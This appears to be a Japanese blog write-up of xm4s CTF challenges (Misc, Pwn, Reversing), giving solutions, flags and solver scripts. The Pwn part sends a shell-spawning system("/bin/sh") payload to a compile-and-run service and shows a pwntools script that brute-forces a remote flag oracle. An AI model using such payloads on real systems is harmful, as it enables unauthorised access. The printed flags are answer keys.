★Part1の続きです。
2-8. let us walk zip (Misc, 71点; easy)
あなたはお宝が入っているmain.zipというファイルを入手しました。ただ、なかなか開けられないようです…
ファイル:main.zip
拡張子は .zip ですが、中身は gz なので、zip で解凍します。header.png を入手できます。
フラグの後半部のようです。そこで、main.zip を「青い空を見上げればいつもそこに白い猫」で開き、ファイル解析をかけると前記のほか xz 形式のデータを抽出できます。これを解凍すると、以下の PNG ファイルを得られます。
この二つを合わせればフラグゲットです。
xm4s{binwalk_is_good_tool}
2-9. magic_mirror (Misc, 94点; medium)
マジックミラーは,光の特性によって,暗い側から明るい側のみ見ることができるものです. 私たちはその研>究をしている間に,一枚の写真を入手しました. 写真を様々な側から見て,隠された情報を導きましょう.
ファイル:christmas.png
これも、「青い空を見上げればいつもそこに白い猫」で開き、ステガノグラフィ解析を実施します。
アルファチャンネルのビット 0 を抽出すると、以下のようにフラグが出てきます。
xm4s{4lph4_l4y3r_m4k3s_1m493_tr4nsp4r3nt}
2-10. beginners shell (Pwn, 61点; beginner)
C言語を勉強中の「彼」はみんなが教えてくれたプログラムを実行するのが好きみたい!でも彼には秘密があって...。どうにかして秘密の flag を聞き出せないかな?
nc [以下略]
# include<stdio.h>
# include<unistd.h>
# include<stdlib.h>
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
char program[0x1000];
puts("Enter your program!");
fgets(program, 0x1000, stdin);
FILE *fp = fopen("/tmp/program.c", "w");
fprintf(fp, "%s", program);
fclose(fp);
system("rm /tmp/program");
system("gcc /tmp/program.c -o /tmp/program");
system("/tmp/program");
system("rm /tmp/program");
}
C言語のコードを送るとGCCでコンパイルして実行してくれます。
たとえば、
int main() {system("/bin/sh");}
を送り込むとフラグを得られます。
xm4s{Yes!!To_get_SHELL_is_goal}
2-11. match flag (Pwn, 71点; beginner)
彼はフラグを隠し持っているらしい。 僕たちに直接教えてくはくれないが、フラグが正解かどうかは教えてくれるそうだ! ...どうやって聞き出そうか。
nc [以下略]
# include<stdio.h>
# include<unistd.h>
# include<stdlib.h>
# include<string.h>
int main() {
// set up for CTF
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
FILE *fp = fopen("./flag.txt", "r");
if(fp == NULL) {
puts("flag.txt not found!");
exit(0);
}
char flag[0x100];
fgets(flag, 0x100, fp);
char input[0x100];
fgets(input, 0x100, stdin);
int len = strlen(input) - 1;
if(strncmp(flag, input, len) == 0) {
puts("Correct!!!");
} else {
puts("Incorrect...");
}
}
入力した文字数分フラグをチェックしてくれます。
なので、未知の1文字を総当たりで確認し、OK なら次の 1 文を・・・とやって、最後「}」が確定したらオシマイです。
from pwn import *
from Crypto.Util.number import *
import sys
flag=b"xm4s{"
while(1):
for i in range(0x20,0x7f):
b = long_to_bytes(i)
r = remote([以下略])
r.sendline(flag + b)
s = r.recvline().decode()
r.close()
print(s[0:2])
if(s[0:2] == "Co"):
flag = flag + b
print(flag)
if(b == b"}"):
exit()
else:
break
xm4s{you got flag finaly hahaha}
2-12. strings binary (Reversing, 41点; beginner)
この実行ファイルのどこかにフラグが埋まっているらしい... ...どこだろう....
ファイル:binary_strings
バイナリエディタで覗いたらフラグが見えました。
xm4s{strings_binary_is_simple_and_powerful!}
2-13. first arm (Reversing, 86点; beginner)
もしアセンブリを読んだことが無くても、この問題に挑戦してみませんか?
ファイル:first_asm.c、first_asm、check_flag.s、Makefile
アセンブリ内容から、key と target を XOR することでフラグが得られることが判ります。
key =";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"
target = "CAn_U_Re4d_A55emBly?L3t's_tRY_it"
flag = ""
for i in range(len(target)):
flag = flag + chr(ord(key[i]) ^ ord(target[i]))
print(flag)
xm4s{we1c0me_t0_a55emb1y_w0r1d!}
2-14. countdown (Reversing, 68点; easy)
ここCTF王国では、新年になったらフラグを予想し、当たったら100万円が貰える行事があります。
行事に使うカウントダウンのプログラムを手に入れたので、新年より先にフラグを入手して100万円を手に入れましょう。
ファイル:countdown
ida free で覗くと、カウントダウンを実施する wait 関数があるので、これを呼び出す箇所を NOP に置き換えて回避します。具体的には、バイナリエディタを用いて、0x1A77 から 5byte分を 0x90 で置き換えます。
あとは、GDB でデバッグ実行しながらフラグを格納したメモリ領域の値を文字列に変換してフラグゲットとなりました。
xm4s{kotoshimo_mou_nennmatsu_desune}
2-15. RGB (Reversing, 101点; easy)
あなたは国のサイバー犯罪対策課長代理補佐だ。ある犯罪者グループが秘密のメッセージを画像中に残したという。生成された画像ファイルとその生成スクリプトを入手した。昇進のため、まずはそのメッセージを復元してほしい。
ファイル:output.png
import numpy as np
from PIL import Image
image_array = np.asarray(Image.open("./NITKC.png")).copy()
with open('./flag.txt') as f:
flag = f.read().encode()
written = 0;
for x in range(len(image_array)):
for y in range(len(image_array[0])):
if len(flag) > written:
c = flag[written]
print(c)
red = c & 0b11
green = (c & 0b1100) >> 2
blue = (c &0b1110000) >> 4
image_array[x][y][0] &= ~0b11
image_array[x][y][0] |= red
image_array[x][y][1] &= ~0b11
image_array[x][y][1] |= green
image_array[x][y][2] &= ~0b111
image_array[x][y][2] |= blue
print(image_array[x][y])
written += 1
Image.fromarray(image_array).save('output.png')
文字をr、g、bの下位2bitもしくは3bitに分けて隠しています。
以下のソルバで復元しました。
import numpy as np
from PIL import Image
image_array = np.asarray(Image.open("./output.png")).copy()
border = 1000
written = 0;
def decode(r,g,b):
return chr(((b & 0b111) << 4) + ((g & 0b11) << 2) + (r & 0b11))
flag = ""
for x in range(len(image_array)):
for y in range(len(image_array[0])):
r = image_array[x][y][0]
g = image_array[x][y][1]
b = image_array[x][y][2]
ret = decode(r,g,b)
flag = flag + ret
if ret == "}" :
print(flag)
exit()
xm4s{this_is_steganography!flag_in_image!!}
2-16. dummy (Reversing, 82点; medium)
dummy! dummy! dummy!
ファイル:dummy
これは、ダメ元で angr に投げました。
Type "help", "copyright", "credits" or "license" for more information.
>>> import angr
>>> p = angr.Project("./dummy")
WARNING | 2020-12-24 21:04:43,455 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
>>> state = p.factory.entry_state()
>>> sim = p.factory.simulation_manager(state)
>>> sim.explore(find=(0x400000+0x7e209,),avoid=(0x400000+0x7e1fb,))
<SimulationManager with 1 found, 255 avoid>
>>>
>>> print(sim.found[0].posix.dumps(0))
b'xm4s{mad_dummy_blocks_the_way!}\x00%c'
>>>
xm4s{mad_dummy_blocks_the_way!}
2-17. original file system (Reversing, 173点; medium)
あなたは先輩から自作ファイルシステムの仕様とイメージを渡されました。お宝が眠っているらしいです…
先輩「ねえねえ、自作ファイルシステムを作ってみたんだ!」
先輩「ねえねえ、暗号化機能もつけたんだ!」
先輩「暗号化パスワードは xm4s!xm4s!xm4s!xm4s!xm4s!(暗号化対象と同じ長さになるまで続く)だよ!」
ファイル:katiofs.md、prob1.img
ファイルシステムの仕様書と、イメージが渡されます。
仕様書に従って目視で読み解くと、ファイル名が XOR で暗号化されているっぽく、オフセットを計算するのが面倒くさかったので bruteforce で復号しちゃいました。
from Crypto.Util.number import *
key = b"xm4s!"
with open("prob1.img","rb") as f:
s = f.read()
for offset in range(5):
res = b""
for i in range(len(s)-offset):
res = res + long_to_bytes(key[i%5] ^ s[i+offset])
print(res)
xm4s{you_find_a_file_name!}
3. おわりに
Pwnは多数残してしまいましたが、楽しかったです。
体力の消耗が激しいので、鍛えないと。。。